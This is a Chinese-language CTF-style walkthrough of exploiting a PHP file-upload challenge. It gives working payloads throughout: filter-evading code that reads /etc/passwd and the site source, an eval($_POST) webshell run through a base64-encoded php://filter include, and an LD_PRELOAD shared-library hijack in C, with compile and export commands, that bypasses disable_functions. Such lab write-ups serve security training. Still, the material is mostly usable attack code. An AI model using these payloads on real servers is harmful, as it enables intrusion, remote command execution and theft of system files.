目录
案例
该案例涉及到:
base64绕过过滤
伪协议php://filter的使用
通过LD_PRELOAD绕过disable_function
1.上传文件
前端代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div class="light">
<span class="glow">
<form enctype="multipart/form-data" method="post" action="index.php">
嘿伙计传个火?!
<input class="input_file" type="file" name="upload_file" />
<input class="button" type="submit" name="submit" value="提交" />
</form>
</span>
<div>
</div>
</body>
</html>
尝试发现,只能上传php文件
随便上传了几个php文件又发现都被过滤了:
这里利用一个php特性,.可以视为+号,所以文件代码这样写:
<?php
echo ("fil"."e_get_c"."ontents")("/etc/passwd");
?>
发现返回了加密后的文件名和路径:
访问后发现可行,
现在要看源码,利用/etc/passwd看方法没有用show_source方便
这里使用show_source
但是要先编码,否则会被过滤拦住:
<?php
base64_decode('c2hvd19zb3VyY2U=')('../index.php');
?>
../是访问上级目录,因为一般情况下index.php不会在uploads目录下
上传后访问弹回的路径,成功看到源码:
2.绕过过滤
直接写一句话后门
<?php eval($_POST[1]); ?>
然后上传成功,拿到文件名
但是想要执行,反引号被ban了
那就用到php://filter解码一句话后门,然后再结合include:
php://filter/read=convert.base64-decode/resource=可以让后面的内容以php文件执行
include可以让php文件自动执行
那么就可以写成
<?php Includ("php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php"); ?>
思路就是利用伪协议让后门可执行,然后利用include自动执行
问题1.include被过滤了
php函数不区分大小写,所以改成Include即可
问题2.伪协议被过滤了
将php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php
整个进行base64编码即可
最后payload为:
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTUwMzIyNDJhYzNmMmM0NTUyZjcwMjZkZDk1NmY0MTEzLnBocA==")); ?>
直接上传,然后用火狐的hackbar测试post,后门可以使用。
3.绕过disable_function
现在使用蚁剑
正常来讲,这里输入命令是无法返回的,因为disable_function都给禁止了 ,但是环境没有完全搭建所以可以执行
这里就说一下劫持LD_PRELOAD原理
然后直接用docker启一个有disable_function的环境用蚁剑插件测试下结果
原理
程序的连接可以分为三种:
-
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
-
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
-
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
.so后缀的文件就是动态链接库
这里劫持LD_PRELOAD就是用自己的库覆盖掉原来的,然后执行命令的时候会执行到我们的payload
具体操作步骤:
1.先写一个.c文件,包括变量、类型、返回值、返回类型都要与替换的函数完全一致
2.把.c文件编译成.so动态连接库
3.把环境变量LD_PRELOAD设置成我们的动态链接库
4.接下来执行被替换的函数即可
以id为例:
.c文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
编译 gcc -shared -fPIC 文件名.c -o 文件名.so
设置环境变量
export LD_PRELOAD=$PWD/xx.so
然后执行id即可
测试
开启docker:
蚁剑直接连接
打开终端测试命令:
命令都不能使用,这说明都被disable_function拦住了
直接用插件:
然后编辑连接:
现在命令测试可以成功了: